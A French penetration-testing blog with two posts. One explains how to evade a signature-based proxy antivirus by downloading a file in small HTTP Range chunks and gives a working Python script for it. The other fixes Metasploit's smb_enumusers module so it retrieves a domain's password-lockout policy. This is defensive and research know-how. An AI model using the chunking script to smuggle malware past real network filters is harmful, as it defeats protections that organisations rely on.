Bypass “Simple” de proxy antivirus

Lors d’un pentest, il n’est pas rare de rencontrer un serveur proxy filtrant l’accès Internet. Dans certains cas, le proxy va jusqu’à analyser les fichiers téléchargés afin de vérifier qu’ils ne contiennent pas de virus, ce qui peut être problématique.

En partant du principe que l’antivirus proxy fonctionne à l’aide de signatures, l’objectif est de trouver un moyen pour altérer le fichier afin que la signature le “match” pas notre fichier à télécharger.

Une des possibilités offertes par HTTP est de permettre le découpage de la réponse en morceaux, délimités par des offsets, de la réponse. Ce type de fonctionnement est prévu pour être utilisé dans le cas ou un téléchargement doit être mis en pause, puis repris à un endroit précis.

A l’aide de l’en-tête Range: bytes=x-y il est possible de récupérer les octets de x à y de la réponse.


GET /alphabet.txt HTTP/1.1
Host: localhost
Range: bytes=5-10

HTTP/1.1 206 Partial Content
Date: Mon, 30 Aug 2010 14:17:28 GMT
Server: Apache/2
Last-Modified: Mon, 30 Aug 2010 14:17:14 GMT
Accept-Ranges: bytes
Content-Length: 6
Content-Range: bytes 5-10/26
Content-Type: text/plain

fghijk

De là, en découpant le fichier à télécharger en plusieurs morceaux assez petits pour ne pas matcher la signature, le téléchargement devient possible.

A noter que cette méthode ne fonctionne que si le serveur l’accepte. Cela peut être testé en envoyant une requête avec l’en-tête Range. Si le serveur envoie une réponse avec le code HTTP 206 (Partial content), le serveur supporte le découpage.


GET /download/eicar.com HTTP/1.1
Host: eicar.org
Range: bytes=0-0

HTTP/1.1 206 Partial Content
Date: Mon, 30 Aug 2010 14:14:51 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Fri, 04 Jul 2008 10:38:03 GMT
ETag: "116a04b-44-45130520238c0"
Accept-Ranges: bytes
Content-Length: 1
Content-Range: bytes 0-0/68
Content-Type: application/x-msdos-program

Comme on peut le voir ici, l’en-tête Content-Range affiche les bytes envoyés, ainsi que la taille totale du fichier (68 bytes dans cet exemple).

Afin de développer ce concept, le code Python suivant permet de récupérer un fichier en le découpant en morceaux.


# -*- coding: utf-8 -*-

#
#USAGE
#python <scriptname> <url>
#

import urllib2, sys

index=0

chunks=20

URL=sys.argv[1]
fName=URL[URL.rfind('/')+1:]

req=urllib2.Request(URL)
req.add_header("Range","bytes=0-0")
data=urllib2.urlopen(req)

if data.getcode()!=206:
print "Server does not support chunking. Exiting..."
sys.exit(0)

length = data.info().getheader("Content-Range")
length=int(length[length.rfind('/')+1:])

print "File length is "+str(length)+" bytes"

chunkSize = int(length/chunks)

output=open(fName,'wb')

while index < length:
req=urllib2.Request(URL)
req.add_header("Range","bytes="+str(index)+"-"+str(index+chunkSize))
data=urllib2.urlopen(req)
print str((index*100)/length)+"%"
output.write(data.read())
index=index+chunkSize+1
output.close()
print 'done'

Ce script à été testé sur quelques proxies transparents filtrant les virus, et tous ont permis le téléchargement du virus EICAR.

Metasploit : Afficher la politique de mots de passe

Il n’est plus nécessaire de présenter Metasploit. Véritable trousse à outils du pentester, les nombreux modules présents permettent d’effectuer un nombre d’opérations au sein d’un seul et même outil.

Lors du pentest d’une infrastructure Windows, nous avons eu besoin de récupérer la politique de mots de passe afin de savoir combien d’essais de login peuvent être tentés avant de bloquer le compte. En cherchant parmi les modules disponibles, rien de tel n’existe, il a fallu passer par d’autres outils pour obtenir ces informations.

L’idée de développer un module pour Metasploit permettant de récupérer cette politique a donc fait son chemin, et nous avons commencé par analyser le fonctionnement des modules interrogeant un contrôleur de domaine afin de comprendre leur fonctionnement.

En analysant le module smb_enumusers, un morceau de code à retenu notre attention :


# Password information
stub = dhandle + [0x01].pack('v')
dcerpc.call(8, stub)
resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
if(resp and resp[-4,4].unpack('V')[0] == 0)
mlen,hlen = resp[8,4].unpack('vv')
domains[domain][:pass_min] = mlen
domains[domain][:pass_min_history] = hlen
end
[...]
# Lockout Threshold
stub = dhandle + [12].pack('v')
dcerpc.call(8, stub)
resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
if(resp and resp[-4,4].unpack('V')[0] == 0)
lduration = resp[8,8]
lwindow = resp[16,8]
lthresh = resp[24, 2].unpack('v')[0]
domains[domain][:lockout_threshold] = lthresh
domains[domain][:lockout_duration] = Rex::Proto::SMB::Utils.time_smb_to_unix(*(lduration.unpack('V2')))
domains[domain][:lockout_window] = Rex::Proto::SMB::Utils.time_smb_to_unix(*(lwindow.unpack('V2')))
end

Apparemment, ce module devrait déjà récupérer et afficher la politique de mots de passe en utilisant des appels RPC, mais ne le fait pas. Pour comprendre pourquoi, lançons Wireshark et observons ce qui est transmis entre le client et le contrôleur de domaine :

Tiens tiens, les premières requêtes sont correctement traitées par le serveur, mais certaines requêtes ne sont pas autorisées et le serveur renvoie un STATUS_ACCESS_DENIED… Pour en savoir plus, regardons le contenu d’une de ces requêtes :

Comme on peut le voir, la requête envoyée est de type SamrQueryInformationDomain (Type 8 ) et de sous-type 12 (SamrDomainLockoutInformation). En cherchant dans MSDN, on tombe sur cet article qui décrit le fonctionnement de cette requête :

http://msdn.microsoft.com/en-us/library/cc245779(PROT.13).aspx

En lisant la documentation liée, on tombe sur ceci :

Upon receiving this message, the server MUST process the data from the message subject to the following constraints:

  1. DomainHandle MUST have the required access specified in section 3.1.2.1. Otherwise, the server MUST return STATUS_ACCESS_DENIED.

OK, maintenant, nous savons que le problème provient sûrement d’un manque de droits réclamés lors de l’obtention du DomainHandle. Ce DomainHandle est obtenu lors de l’appel à la fonction SamrOpenDomain, qui doit être appelée avant tout appel aux fonctions concernant un domaine. Une nouvelle recherche dans MSDN nous indique (http://msdn.microsoft.com/en-us/library/cc245748(PROT.10).aspx) que la fonction SamrOpenDomain prend en second paramètre un champ DesiredAccess Le format de ce paramètre est défini ici : http://msdn.microsoft.com/en-us/library/cc245522(v=PROT.10).aspx

La constante qui nous intéresse est DOMAIN_READ_PASSWORD_PARAMETERS. La valeur de cette constante est donnée pour 0x00000001.

Comment vérifier si ce droit est correctement demandé lors de l’appel à SamrOpenDomain ? Wireshark va nous aider :

La valeur de DesiredAccess est positionnée à 0x00000304, comme prévu, l’accès qui nous intéresse n’a donc pas été demandé par le module et c’est donc bien pour cela que la politique de mots de passe n’est pas récupérée. En observant à nouveau le module Metasploit, on retrouve facilement l’endroit ou est définie cette valeur :


# Open
stub =
phandle +
NDR.long(0x00000304) +
NDR.long(4) +
[1,4,0].pack('CvC') +
domains[domain][:sid_raw]

Modifier cette valeur à 0x00000305 (0x00000304 (valeur initiale) + 0x00000001 (DOMAIN_READ_PASSWORD_PARAMETERS)) permet de corriger ce bug et ainsi de faire fonctionner le module de manière correcte :

msf auxiliary(smb_enumusers) > exploit
[*] XX.XX.XX.XX DOMAIN [ Administrator, Guest, krbtgt ] ( LockoutTries=5 PasswordMin=7 )

Ce bug ainsi que sa résolution ont été soumis à l’équipe de développement de Metasploit et a ainsi été corrigé.